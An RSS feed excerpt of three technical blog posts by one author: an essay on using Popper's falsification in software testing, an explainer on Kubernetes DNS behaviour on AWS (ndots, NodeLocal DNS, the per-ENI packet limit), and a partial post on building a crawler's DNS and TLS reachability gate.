      <pubDate>Sun, 21 Jun 2026 08:27:19 +0000</pubDate>
      <link>https://dev.to/harishteens/you-cant-test-your-way-to-certainty-so-falsify-instead-2fek</link>
      <guid>https://dev.to/harishteens/you-cant-test-your-way-to-certainty-so-falsify-instead-2fek</guid>
      <description>&lt;p&gt;I'm currently building a PoC that rebuilds one of our core services from scratch — same job, completely different architecture. The design didn't come from a whiteboard moment; it accreted. I'd solved one issue in the existing system, then another, then another, and one day I looked back at the pile of fixes and something just spoke: &lt;em&gt;this doesn't seem right anymore.&lt;/em&gt; The old shape couldn't hold all the patches. So I started over.&lt;/p&gt;

&lt;p&gt;And that's where the trouble began.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fear of infinite examples
&lt;/h2&gt;

&lt;p&gt;As I implemented the new architecture, I worked the way most of us do: run it through an example, watch it break, add a tweak to handle that case, repeat. It felt productive. Each example I fixed made the system a little more capable.&lt;/p&gt;

&lt;p&gt;Then a quiet dread crept in: &lt;em&gt;what if this never ends?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I had 20 examples to test the PoC. But 20 was only the start — soon it would be 500, then eventually a million. I could feel myself on a treadmill. Every increment in scale would surface new cases, and I'd be patching forever, never able to point at the system and say "it's done." I couldn't see the end. The space of possible inputs was just too vast, and I was trying to map it one example at a time.&lt;/p&gt;

&lt;p&gt;The worst part wasn't the work. It was not knowing &lt;em&gt;how much&lt;/em&gt; work was left — or whether "left" even had a bottom.&lt;/p&gt;

&lt;h2&gt;
  
  
  Engineers have empirical bias
&lt;/h2&gt;

&lt;p&gt;Here's the thing I eventually named. We engineers make a huge number of design decisions based on the examples we happen to observe. We see a few hundred cases, spot the patterns, and bake those patterns into the system. Data scientists have a term for this trap: &lt;strong&gt;empirical bias&lt;/strong&gt; — over-fitting your conclusions to the sample you happened to look at.&lt;/p&gt;

&lt;p&gt;In a small project that's fine; you've basically seen everything. But in a large project, &lt;strong&gt;the unknowns are unknown.&lt;/strong&gt; Nobody has observed them. They're not on any list of edge cases because no one knows they exist yet.&lt;/p&gt;

&lt;p&gt;Which leads to the question that was actually keeping me up:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;How do you know the things that you don't know?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  A surprising answer: Karl Popper's falsification
&lt;/h2&gt;

&lt;p&gt;The answer didn't come from an engineering blog. It came from philosophy of science.&lt;/p&gt;

&lt;p&gt;Karl Popper was a 20th-century philosopher who asked what separates real science from things that merely &lt;em&gt;sound&lt;/em&gt; scientific. His answer was &lt;strong&gt;falsifiability&lt;/strong&gt;. A claim is scientific only if it makes a prediction that could, in principle, be proven &lt;em&gt;wrong&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;His famous example is swans. No matter how many white swans you observe, you can never prove the statement "all swans are white" — there could always be another swan around the corner. A thousand confirmations don't make it true. But a &lt;strong&gt;single black swan&lt;/strong&gt; disproves it instantly. So the logic of discovery is asymmetric: confirmation is weak, refutation is decisive.&lt;/p&gt;

&lt;p&gt;From this, Popper drew a sharp line. A good theory is a &lt;strong&gt;bold conjecture&lt;/strong&gt; that sticks its neck out — it tells you exactly what observation would kill it, and then survives every attempt to kill it. A theory that &lt;em&gt;can't&lt;/em&gt; be falsified by any conceivable observation — one that's compatible with literally any outcome — isn't strong, it's empty. That's not science. That's &lt;strong&gt;pseudo-science.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is, more or less, how mainstream science actually works. Anyone can cook up a theory from observations. What earns it the name "scientific" is that it can be falsified and hasn't been — yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  How this applies to engineering
&lt;/h2&gt;

&lt;p&gt;Once I saw it, I couldn't unsee the parallel. I had been doing the unscientific thing: accumulating confirming examples ("look, it handles this one too!") and hoping the pile would eventually feel tall enough. It never would. That's the white-swan game, and it has no end.&lt;/p&gt;

&lt;p&gt;The shift was to invert it. Instead of trying to confirm my system on more and more cases, &lt;strong&gt;try to falsify it.&lt;/strong&gt; Concretely:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Write down every design decision, heuristic, and assumption&lt;/strong&gt; the system rests on. Make the implicit explicit. You can't test a belief you haven't articulated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;For each one, name its black swan.&lt;/strong&gt; Ask: &lt;em&gt;what would disprove this? What exact thing has to happen for this decision to be wrong?&lt;/em&gt; If you genuinely can't think of anything that would break it, be suspicious — that's the pseudo-science smell. A decision that can't fail usually isn't saying anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Instrument the black swan.&lt;/strong&gt; Put a log line or a metric on the precise condition that would prove the assumption false. Now the system itself watches for its own counterexamples.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If you're big enough, go hunting.&lt;/strong&gt; This is exactly what Netflix did with Chaos Monkey. Rather than wait for a server to die at 3 a.m. and hope the system coped, they wrote a tool that randomly kills production instances &lt;em&gt;during business hours&lt;/em&gt; — deliberately manufacturing the black swan while engineers are awake to watch it. The assumption under test is "we can lose any single instance and survive," and Chaos Monkey tries to falsify it on a schedule. It later grew into a whole "Simian Army" (latency injection, zone failures, and so on). The philosophy is pure Popper: don't trust that you're resilient because nothing has broken yet — actively try to break it, and let the failures find you before your customers do.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The point isn't to predict every unknown. It's to set a tripwire on each assumption so the unknown announces itself the moment it arrives.&lt;/p&gt;

&lt;h2&gt;
  
  
  The peace it gave me
&lt;/h2&gt;

&lt;p&gt;This reframe did something I didn't expect: it gave me peace.&lt;/p&gt;

&lt;p&gt;I stopped trying to imagine the million examples in advance, because I finally understood that I &lt;em&gt;couldn't&lt;/em&gt;, and that chasing them was the wrong game anyway. Instead: state the assumptions, instrument the black swans, and &lt;strong&gt;ship it.&lt;/strong&gt; Unless and until a tripwire fires, there's nothing to worry about. And when one does fire, I'll know instantly — and I'll fix it then, with a real counterexample in hand instead of a hypothetical fear.&lt;/p&gt;

&lt;p&gt;The treadmill stopped. Not because the unknowns went away, but because I'd outsourced the worrying to my logs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Over to you
&lt;/h2&gt;

&lt;p&gt;I'm genuinely curious how others think about this — building large-scale systems that have to handle countless cases you can't enumerate up front. Does the falsification lens resonate, or do you think I'm forcing a philosophy metaphor onto something that needs plain engineering? Tell me where this breaks. And if a particular idea ever gave you peace in the face of the unknown, I'd love to hear it.&lt;/p&gt;

</description>
      <category>software</category>
      <category>architecture</category>
      <category>computerscience</category>
    </item>
    <item>
      <title>DNS is weird inside k8s on AWS</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sun, 21 Jun 2026 05:18:46 +0000</pubDate>
      <link>https://dev.to/harishteens/dns-is-weird-inside-k8s-on-aws-570c</link>
      <guid>https://dev.to/harishteens/dns-is-weird-inside-k8s-on-aws-570c</guid>
      <description>&lt;p&gt;&lt;em&gt;A ~6 minute read — just three concepts that, once you know them, change how you reason about DNS inside a cluster.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;While chasing some DNS timeouts recently, I went down a rabbit hole and came out with three concepts I wish I'd known earlier. None of them is exotic, but together they explain a surprising amount of "why is DNS being weird" behaviour on Kubernetes-on-AWS.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ndots&lt;/code&gt;&lt;/strong&gt; — why one hostname lookup can become many DNS queries&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NodeLocal DNS&lt;/strong&gt; — the per-node caching layer your queries actually hit first&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The EC2 per-ENI DNS packet limit&lt;/strong&gt; — a hard ceiling most people never hear about until they hit it&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. &lt;code&gt;ndots&lt;/code&gt;: one lookup is rarely one query
&lt;/h2&gt;

&lt;p&gt;Pull &lt;code&gt;/etc/resolv.conf&lt;/code&gt; from inside almost any Kubernetes pod and you'll see three interesting lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;nameserver&lt;/span&gt; &amp;lt;&lt;span class="n"&gt;cluster&lt;/span&gt;-&lt;span class="n"&gt;dns&lt;/span&gt;&amp;gt;
&lt;span class="n"&gt;search&lt;/span&gt; &lt;span class="n"&gt;my&lt;/span&gt;-&lt;span class="n"&gt;namespace&lt;/span&gt;.&lt;span class="n"&gt;svc&lt;/span&gt;.&lt;span class="n"&gt;cluster&lt;/span&gt;.&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;svc&lt;/span&gt;.&lt;span class="n"&gt;cluster&lt;/span&gt;.&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;cluster&lt;/span&gt;.&lt;span class="n"&gt;local&lt;/span&gt; &lt;span class="n"&gt;ec2&lt;/span&gt;.&lt;span class="n"&gt;internal&lt;/span&gt;
&lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="n"&gt;ndots&lt;/span&gt;:&lt;span class="m"&gt;5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;nameserver&lt;/code&gt;&lt;/strong&gt; — where queries are sent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;search&lt;/code&gt;&lt;/strong&gt; — a list of suffixes the resolver may append to a name before giving up.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;options ndots:N&lt;/code&gt;&lt;/strong&gt; — the rule that decides &lt;em&gt;when&lt;/em&gt; those suffixes get appended.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;ndots&lt;/code&gt; is the quiet one, and it's the one that surprises people. It says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"If the name being looked up contains **fewer than N dots&lt;/em&gt;&lt;em&gt;, treat it as a partial/relative name — try it with each search suffix appended **first&lt;/em&gt;&lt;em&gt;, and only try it as an absolute name if all of those fail."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes defaults to &lt;strong&gt;&lt;code&gt;ndots:5&lt;/code&gt;&lt;/strong&gt;. That default exists for a good reason: service discovery. It lets your code say &lt;code&gt;redis&lt;/code&gt; or &lt;code&gt;payments.billing&lt;/code&gt; and have the resolver expand it to &lt;code&gt;redis.my-namespace.svc.cluster.local&lt;/code&gt;. Very convenient inside the cluster.&lt;/p&gt;

&lt;p&gt;The catch is what happens to &lt;strong&gt;real external hostnames&lt;/strong&gt;, which usually have fewer than 5 dots. Take &lt;code&gt;data.example.com&lt;/code&gt; — that's 2 dots. Since &lt;code&gt;2 &amp;lt; 5&lt;/code&gt;, the resolver assumes it's relative and walks the entire search list before trying the real thing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. data.example.com.my-namespace.svc.cluster.local   → NXDOMAIN
2. data.example.com.svc.cluster.local                → NXDOMAIN
3. data.example.com.cluster.local                    → NXDOMAIN
4. data.example.com.ec2.internal                     → NXDOMAIN
5. data.example.com                                  → the real answer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's &lt;strong&gt;5 queries to resolve one name&lt;/strong&gt;, four of them guaranteed misses. And remember the resolver issues &lt;strong&gt;A (IPv4) and AAAA (IPv6) records in parallel&lt;/strong&gt;, so realistically you're looking at up to &lt;strong&gt;~10 DNS queries for a single hostname&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix is one line:&lt;/strong&gt; set &lt;strong&gt;&lt;code&gt;ndots:1&lt;/code&gt;&lt;/strong&gt;. Then any name with at least one dot is tried &lt;strong&gt;as an absolute name first&lt;/strong&gt;, and &lt;code&gt;data.example.com&lt;/code&gt; resolves in a single shot (well, two — A and AAAA). You only lose the convenience of short, suffix-less service names — which most apps that talk to FQDNs and external hosts don't rely on anyway.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pod spec&lt;/span&gt;
&lt;span class="na"&gt;dnsConfig&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;options&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ndots&lt;/span&gt;
      &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Takeaway: on Kubernetes, the number of DNS &lt;em&gt;queries&lt;/em&gt; your app generates is not the number of &lt;em&gt;lookups&lt;/em&gt; it makes. &lt;code&gt;ndots&lt;/code&gt; is the multiplier, and the default of 5 is tuned for in-cluster discovery, not external traffic.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  2. NodeLocal DNS: the (optional) cache hop you might not know is there
&lt;/h2&gt;

&lt;p&gt;First, the baseline that &lt;em&gt;is&lt;/em&gt; effectively universal: every cluster has a &lt;strong&gt;cluster DNS service&lt;/strong&gt; — historically &lt;code&gt;kube-dns&lt;/code&gt;, and &lt;strong&gt;CoreDNS&lt;/strong&gt; by default since Kubernetes 1.13. It runs centrally as a Deployment (a handful of pods behind a &lt;code&gt;ClusterIP&lt;/code&gt; Service, usually at &lt;code&gt;.10&lt;/code&gt; of the service CIDR, e.g. &lt;code&gt;10.96.0.10&lt;/code&gt;), and every pod's &lt;code&gt;resolv.conf&lt;/code&gt; points its &lt;code&gt;nameserver&lt;/code&gt; at that Service IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NodeLocal DNSCache is &lt;em&gt;not&lt;/em&gt; mandatory&lt;/strong&gt; — it's an optional add-on you opt into. When present, it inserts a per-node caching layer &lt;em&gt;between&lt;/em&gt; the pod and CoreDNS, so your pod resolves against the local node first instead of reaching across the network to the central CoreDNS Service on every query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  ┌─────────┐  link-local IP     ┌──────────────────┐
  │  Pod    │ ─────────────────► │  NodeLocal DNS   │  (DaemonSet — one per node)
  │ (glibc) │   UDP :53          │  on-node cache   │
  └─────────┘                    └────────┬─────────┘
                                          │ on cache miss, forward
                          ┌───────────────┴────────────────┐
                          │                                 │
                  *.cluster.local                    everything else
                          │                                 │
                          ▼                                 ▼
                  ┌───────────────┐                ┌──────────────────┐
                  │ CoreDNS /     │                │  Upstream / VPC  │
                  │ kube-dns      │                │  resolver        │
                  │ (in-cluster)  │                │  (cloud-provided)│
                  └───────────────┘                └──────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What it is and why it exists:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NodeLocal DNS&lt;/strong&gt; runs as a &lt;strong&gt;DaemonSet&lt;/strong&gt; — one instance per node — and listens on a &lt;strong&gt;link-local address&lt;/strong&gt; (an IP in the &lt;code&gt;169.254.0.0/16&lt;/code&gt; range, which is node-local and never routed off the box).&lt;/li&gt;
&lt;li&gt;Every pod on that node sends its DNS queries to this local instance &lt;strong&gt;first&lt;/strong&gt;. The query never leaves the node for a cache hit.&lt;/li&gt;
&lt;li&gt;This solves two real problems: it &lt;strong&gt;cuts latency&lt;/strong&gt; (no network hop for cached answers), and it &lt;strong&gt;avoids a known conntrack/UDP race&lt;/strong&gt; that caused intermittent 5-second DNS hangs when pods talked to a cluster-wide DNS service directly.&lt;/li&gt;
&lt;li&gt;On a &lt;strong&gt;cache miss&lt;/strong&gt;, NodeLocal forwards the query upstream — cluster-internal names (&lt;code&gt;*.svc.cluster.local&lt;/code&gt;) go to &lt;strong&gt;CoreDNS/kube-dns&lt;/strong&gt;; everything else goes to the &lt;strong&gt;upstream resolver&lt;/strong&gt; (on AWS, the VPC resolver / &lt;code&gt;AmazonProvidedDNS&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The important mental model (when NodeLocal &lt;em&gt;is&lt;/em&gt; present): &lt;strong&gt;caching only helps for repeated names, and only within a TTL.&lt;/strong&gt; A positive answer is cached for its record's TTL; a negative answer (NXDOMAIN) is cached according to the zone's SOA. If you re-resolve the same host frequently, NodeLocal absorbs most of it. If your names or TTLs churn, more queries forward upstream.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. The EC2 per-ENI DNS packet limit (~1024 pps)
&lt;/h2&gt;

&lt;p&gt;This is the one almost nobody knows until it bites: &lt;strong&gt;EC2 caps DNS traffic at roughly 1024 packets per second per network interface (ENI).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Details that matter:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It's specifically the path to the &lt;strong&gt;VPC resolver&lt;/strong&gt; (the &lt;code&gt;.2&lt;/code&gt; address / &lt;code&gt;AmazonProvidedDNS&lt;/code&gt;) — packets to the Route 53 Resolver are what's metered.&lt;/li&gt;
&lt;li&gt;The limit is &lt;strong&gt;per-ENI&lt;/strong&gt;, which in practice usually means &lt;strong&gt;per-node&lt;/strong&gt; (or per-pod, if pods get their own ENIs). It is &lt;strong&gt;not&lt;/strong&gt; a cluster-wide pool and it &lt;strong&gt;cannot be raised&lt;/strong&gt; via a support ticket — it's a fixed allowance.&lt;/li&gt;
&lt;li&gt;When you exceed it, AWS doesn't return an error. It &lt;strong&gt;silently drops the excess packets.&lt;/strong&gt; A dropped UDP query gets no response, so the client just waits and eventually reports &lt;code&gt;i/o timeout&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;How you'd actually &lt;em&gt;prove&lt;/em&gt; you're hitting it (rather than assuming): AWS exposes a per-ENI counter, &lt;code&gt;linklocal_allowance_exceeded&lt;/code&gt;, that increments each time a packet is dropped for crossing this limit. Read it on the node:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ethtool &lt;span class="nt"&gt;-S&lt;/span&gt; &amp;lt;interface&amp;gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;allowance_exceeded
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few honest caveats, because this is exactly where people jump to conclusions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The counter only proves anything if it's &lt;strong&gt;increasing during the timeout window&lt;/strong&gt;. A reading of &lt;code&gt;0&lt;/code&gt;, or a value on an idle/freshly-provisioned node, tells you nothing.&lt;/li&gt;
&lt;li&gt;Hitting this limit requires &lt;strong&gt;genuinely high DNS packet rates&lt;/strong&gt;. A service that resolves a small set of hosts repeatedly — where NodeLocal caches the answers — typically won't get anywhere near 1024 pps. So before blaming this limit, confirm the packet rate is actually high and the counter is actually moving.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;ndots&lt;/code&gt; amplification from concept #1 is what makes this limit &lt;em&gt;easier&lt;/em&gt; to hit than you'd expect — because each logical lookup can be ~10 packets — but amplification of a low request rate is still a low request rate.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Takeaway: the ~1024 pps per-ENI DNS cap is real and unraiseable, and its failure mode (silent drops → timeouts) is genuinely confusing. But it's a ceiling you have to &lt;strong&gt;measure&lt;/strong&gt;, not assume — &lt;code&gt;linklocal_allowance_exceeded&lt;/code&gt; is the only thing that proves it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  How the three fit together
&lt;/h2&gt;

&lt;p&gt;These aren't three separate facts — they're a chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Your app makes a DNS lookup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;ndots&lt;/code&gt;&lt;/strong&gt; decides how many actual queries that becomes (default &lt;code&gt;ndots:5&lt;/code&gt; → potentially ~10×).&lt;/li&gt;
&lt;li&gt;Those queries hit &lt;strong&gt;NodeLocal DNS&lt;/strong&gt; first; cache hits stay on the node, misses forward to CoreDNS or the VPC resolver.&lt;/li&gt;
&lt;li&gt;The forwarded traffic to the VPC resolver is metered against the &lt;strong&gt;~1024 pps per-ENI limit&lt;/strong&gt;, and silently dropped past it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Knowing the chain is what lets you reason about a DNS problem instead of guessing: &lt;em&gt;is my query count inflated (&lt;code&gt;ndots&lt;/code&gt;)? is my cache actually being used (NodeLocal + TTLs)? am I genuinely hitting the packet ceiling (&lt;code&gt;linklocal_allowance_exceeded&lt;/code&gt;)?&lt;/em&gt; Three different questions, three different places to look.&lt;/p&gt;

&lt;p&gt;That's the toolkit. Where it points in any specific incident is a separate investigation — and proving which link in the chain is actually responsible takes measurement, not assumption.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>aws</category>
    </item>
    <item>
      <title>Your DNS check is lying to you</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Sat, 06 Jun 2026 03:08:29 +0000</pubDate>
      <link>https://dev.to/harishteens/your-dns-check-is-lying-to-you-297n</link>
      <guid>https://dev.to/harishteens/your-dns-check-is-lying-to-you-297n</guid>
      <description>&lt;p&gt;&lt;em&gt;Or: how a "this host is dead" verdict from a single &lt;code&gt;net.LookupHost&lt;/code&gt; call quietly broke our crawler, and what we did about it.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;We run a crawler that fetches tens of thousands of corporate websites a day from a datacenter. Before we spend any budget on a fetch — the actual HTTP request, the residential proxy hop, the S3 upload — we run a cheap &lt;strong&gt;reachability gate&lt;/strong&gt;. The job of the gate is one thing: answer the question &lt;em&gt;"is it even worth trying to fetch this host from here?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The first version of that gate was the obvious thing: resolve the host. If DNS returns an IP, the host exists. If it doesn't, mark the URL dead and move on.&lt;/p&gt;

&lt;p&gt;That gate was wrong often enough to matter. This is the story of the four ways it was wrong, and the gate we ended up with.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why "just resolve the host" isn't enough
&lt;/h2&gt;

&lt;p&gt;A naive reachability check has the shape:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Call &lt;code&gt;net.LookupHost&lt;/code&gt;. If it returns IPs, the host is reachable. If it errors, it isn't.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Every clause in that sentence is a lie in production. Here are the four leaks we hit, in order of how painful they were.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 1 — CNAME chains the resolver doesn't finish in time
&lt;/h3&gt;

&lt;p&gt;A lot of corporate sites don't resolve directly. They sit behind a CDN, which sits behind a tenant-specific alias, which sits behind a regional load-balancer name. From DNS's point of view, that's a CNAME chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ir.bigcorp.com  →  bigcorp.cdnvendor.net  →  edge-eu-west-3.cdnvendor.net  →  A 203.0.113.42
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;LookupHost&lt;/code&gt; is supposed to chase the chain transparently and hand you the final IP. It usually does. But "usually" hides two real failure modes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The resolver chases the chain in series under a single deadline. A slow hop two-thirds of the way down eats the whole budget; the call returns a timeout, not the IP it would have found with another 200ms.&lt;/li&gt;
&lt;li&gt;An intermediate hop misbehaves — wrong record type, NXDOMAIN at a tier the resolver doesn't expect, a stub that's been decommissioned. The lookup fails &lt;em&gt;even though the host is registered and reachable through other paths&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both look identical to the caller: &lt;code&gt;LookupHost&lt;/code&gt; returned an error. The naive gate calls the host dead. The next day a human checks, the site loads fine in a browser, and we've burned a perfectly good URL.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 2 — datacenter IPs get blocked silently
&lt;/h3&gt;

&lt;p&gt;Plenty of origins explicitly drop connections from cloud IP ranges. From a residential connection they answer instantly; from our crawler's egress IP the TCP handshake just times out. There's no error code that says "I'm filtering you" — it looks exactly like a dead origin.&lt;/p&gt;

&lt;p&gt;DNS resolves fine in that case, so the naive gate passes the host through. The fetch then burns its full timeout on a connection that was never going to land. Worse, when we &lt;em&gt;do&lt;/em&gt; go through our residential proxy, the host fetches cleanly. The check we wanted to make — &lt;em&gt;"is the origin actually down or is it just down **for us&lt;/em&gt;&lt;em&gt;"&lt;/em&gt; — wasn't being made anywhere.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 3 — TLS versions that our real client will refuse anyway
&lt;/h3&gt;

&lt;p&gt;Our production HTTP clients pin &lt;code&gt;MinVersion: TLS 1.2&lt;/code&gt;. Some long-tail origins still only negotiate TLS 1.0/1.1. DNS passes, the TCP handshake passes, the TLS handshake fails with a protocol-version alert, and we've spent a residential proxy request finding that out.&lt;/p&gt;

&lt;p&gt;If we'd noticed at the gate that the server's best offer was below our floor, we could have failed the URL immediately and saved the spend.&lt;/p&gt;

&lt;h3&gt;
  
  
  Leak 4 — costing the proxy on requests that didn't need it
&lt;/h3&gt;

&lt;p&gt;Residential proxy requests are not free. Routing &lt;em&gt;every&lt;/em&gt; uncertain host through the proxy "just to be sure" turns a reachability check into one of the most expensive parts of the pipeline. Whatever we built had to use the proxy as a tiebreaker, not as a first resort.&lt;/p&gt;




&lt;h2&gt;
  
  
  What we built instead
&lt;/h2&gt;

&lt;p&gt;A three-stage gate, ordered cheapest-and-most-certain first. Each stage can short-circuit the result; the proxy is only touched when the cheap stages genuinely can't tell.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 1 — DNS that walks the CNAME chain by hand
&lt;/h3&gt;

&lt;p&gt;The fast path is still &lt;code&gt;LookupHost&lt;/code&gt;. It works for the vast majority of hosts, including most CNAME chains, and it costs nothing extra.&lt;/p&gt;

&lt;p&gt;The slow path is what changes. When &lt;code&gt;LookupHost&lt;/code&gt; fails, we don't conclude "dead host" — we conclude "the resolver couldn't finish the chain in one shot." So we walk the chain ourselves: &lt;code&gt;LookupCNAME&lt;/code&gt;, advance one hop, try &lt;code&gt;LookupHost&lt;/code&gt; at that level, repeat. Several things fall out of this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A bounded hop count (we picked 5) protects us from CNAME loops and pathologically deep chains.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;visited&lt;/code&gt; set catches loops that don't show up as depth — a CNAME that points back to a name we've already seen.&lt;/li&gt;
&lt;li&gt;A canonical-name dead-end (CNAME points to itself, or to a name with no further records) returns the &lt;em&gt;original&lt;/em&gt; error, so genuine NXDOMAINs still surface as NXDOMAINs.&lt;/li&gt;
&lt;li&gt;An intermediate hop that resolves where the full chain timed out is treated as a pass. The reasoning: the original timeout was almost certainly cumulative, not terminal. If any level in the chain has a working A record, the host is alive.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This single change moved a measurable chunk of URLs out of the "dead" bucket.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 2 — TLS as a three-way verdict, not a boolean
&lt;/h3&gt;

&lt;p&gt;A direct TLS dial from our datacenter is doing two jobs at once. It's checking whether the server speaks a version we accept, and it's checking whether the server answers us at all. Those two outcomes need different handling, so we classify the dial as one of three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Usable&lt;/strong&gt; — handshake completed, negotiated version ≥ TLS 1.2. Pass. The fetch will work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rejected&lt;/strong&gt; — the server sent a TLS alert, or negotiated below our floor. Fail fast, and importantly: do not waste a proxy probe on this. Our real client would be rejected the same way; the proxy can't fix a TLS-version mismatch.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inconclusive&lt;/strong&gt; — a bare network error (timeout, connection refused, reset). From a datacenter IP this could mean a dead origin, &lt;em&gt;or&lt;/em&gt; an origin that filters cloud ranges. We don't know yet, so we defer to stage 3.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The trick that makes stage 2 work is dialing with a &lt;strong&gt;permissive&lt;/strong&gt; &lt;code&gt;MinVersion&lt;/code&gt; (TLS 1.0). We want to see what the server &lt;em&gt;can&lt;/em&gt; do, then enforce our floor ourselves — otherwise the handshake fails the version check before we get to see what was actually negotiated, and "version too old" becomes indistinguishable from "didn't answer."&lt;/p&gt;

&lt;p&gt;Distinguishing a TLS alert from a network error needs a little care: timeouts are network, &lt;code&gt;tls.AlertError&lt;/code&gt; is a server-sent alert, anything else carrying a &lt;code&gt;tls:&lt;/code&gt; marker (record-header mismatch, plaintext where TLS was expected, protocol-version errors) is a TLS-layer rejection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 3 — residential proxy as a tiebreaker
&lt;/h3&gt;

